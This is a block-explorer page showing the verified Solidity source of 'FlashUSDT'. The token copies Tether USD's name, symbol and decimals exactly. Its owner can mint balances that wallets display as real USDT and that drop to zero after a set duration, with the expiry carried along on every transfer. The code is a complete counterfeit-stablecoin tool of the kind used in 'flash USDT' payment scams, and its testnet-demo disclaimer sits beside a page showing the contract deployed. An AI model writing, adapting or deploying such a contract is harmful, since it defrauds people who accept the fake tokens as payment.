Skip to content
Verified contractExactMIT

FlashUSDT

Address0x4fc86a662a32b5202a5ad4e0cf4921b5660f4569
Balance

0 ETH

 

Transactions

2

 

Compiler

solc 0.8.20

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.20+commit.a1b79de6
Language
solidity
Optimization
No
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,443,056
Creation transaction
0x54fe32bbfc…9b26fd0650

FlashUSDT.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

/**
 * FlashUSDT — high-fidelity USDT lookalike with temporary balances
 * Name / symbol / decimals match official Tether USD exactly.
 * Wallet UIs show the balance as real USDT until expiry or until
 * the token is removed / contract is verified as non-official.
 * Deploy on testnets for demos. Different address = not real USDT.
 */

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract FlashUSDT is IERC20 {
    // Exact match to official Tether metadata
    string public constant name = "Tether USD";
    string public constant symbol = "USDT";
    uint8 public constant decimals = 6;

    uint256 private _totalSupply;
    address public owner;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    // Flash mechanism: expiry timestamp per address (0 = permanent)
    mapping(address => uint64) public balanceExpiresAt;

    // Optional: track flash duration for UI helpers
    mapping(address => uint64) public flashDuration;

    event FlashMint(address indexed to, uint256 amount, uint64 expiresAt);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event BalanceExpired(address indexed account, uint256 amount);

    modifier onlyOwner() {
        require(msg.sender == owner, "FlashUSDT: caller is not the owner");
        _;
    }

    constructor(uint256 initialSupply) {
        owner = msg.sender;
        if (initialSupply > 0) {
            _mint(msg.sender, initialSupply);
        }
    }

    // ========== Standard ERC-20 ==========

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        if (_isExpired(account)) {
            return 0;
        }
        return _balances[account];
    }

    function transfer(address to, uint256 amount) external override returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(address owner_, address spender) external view override returns (uint256) {
        return _allowances[owner_][spender];
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external override returns (bool) {
        uint256 currentAllowance = _allowances[from][msg.sender];
        require(currentAllowance >= amount, "FlashUSDT: insufficient allowance");
        unchecked {
            _approve(from, msg.sender, currentAllowance - amount);
        }
        _transfer(from, to, amount);
        return true;
    }

    // ========== Flash / Owner functions ==========

    /**
     * @notice Mint tokens that appear as real USDT balance and auto-zero after duration
     * @param to Recipient address
     * @param amount Amount in smallest unit (6 decimals). 1 USDT = 1_000_000
     * @param durationSeconds How long the balance stays visible (e.g. 86400 = 24h)
     */
    function mintFlash(address to, uint256 amount, uint64 durationSeconds) external onlyOwner {
        require(to != address(0), "FlashUSDT: mint to zero address");
        require(amount > 0, "FlashUSDT: amount must be > 0");
        require(durationSeconds > 0, "FlashUSDT: duration must be > 0");

        uint64 expires = uint64(block.timestamp) + durationSeconds;
        _mint(to, amount);
        balanceExpiresAt[to] = expires;
        flashDuration[to] = durationSeconds;

        emit FlashMint(to, amount, expires);
    }

    /**
     * @notice Mint permanent tokens (no expiry)
     */
    function mint(address to, uint256 amount) external onlyOwner {
        require(to != address(0), "FlashUSDT: mint to zero address");
        _mint(to, amount);
        balanceExpiresAt[to] = 0;
        flashDuration[to] = 0;
    }

    /**
     * @notice Force-expire a balance immediately (balance becomes 0)
     */
    function expireBalance(address account) external onlyOwner {
        uint256 bal = _balances[account];
        balanceExpiresAt[account] = uint64(block.timestamp);
        emit BalanceExpired(account, bal);
    }

    /**
     * @notice Extend or reset expiry for an address
     */
    function setExpiry(address account, uint64 newExpiresAt) external onlyOwner {
        balanceExpiresAt[account] = newExpiresAt;
    }

    function transferOwnership(address newOwner) external onlyOwner {
        require(newOwner != address(0), "FlashUSDT: new owner is zero address");
        emit OwnershipTransferred(owner, newOwner);
        owner = newOwner;
    }

    // ========== View helpers ==========

    function isExpired(address account) external view returns (bool) {
        return _isExpired(account);
    }

    function remainingTime(address account) external view returns (uint256) {
        if (balanceExpiresAt[account] == 0) return type(uint256).max;
        if (block.timestamp >= balanceExpiresAt[account]) return 0;
        return uint256(balanceExpiresAt[account] - uint64(block.timestamp));
    }

    // ========== Internal ==========

    function _isExpired(address account) internal view returns (bool) {
        uint64 exp = balanceExpiresAt[account];
        return exp != 0 && block.timestamp > exp;
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0) && to != address(0), "FlashUSDT: zero address");
        require(!_isExpired(from), "FlashUSDT: balance expired");
        require(_balances[from] >= amount, "FlashUSDT: transfer amount exceeds balance");

        unchecked {
            _balances[from] -= amount;
            _balances[to] += amount;
        }

        // Carry expiry to recipient so flash property travels with the tokens
        if (balanceExpiresAt[from] != 0) {
            balanceExpiresAt[to] = balanceExpiresAt[from];
            flashDuration[to] = flashDuration[from];
        }

        emit Transfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal {
        require(account != address(0), "FlashUSDT: mint to zero address");
        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);
    }

    function _approve(address owner_, address spender, uint256 amount) internal {
        require(owner_ != address(0) && spender != address(0), "FlashUSDT: zero address");
        _allowances[owner_][spender] = amount;
        emit Approval(owner_, spender, amount);
    }
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.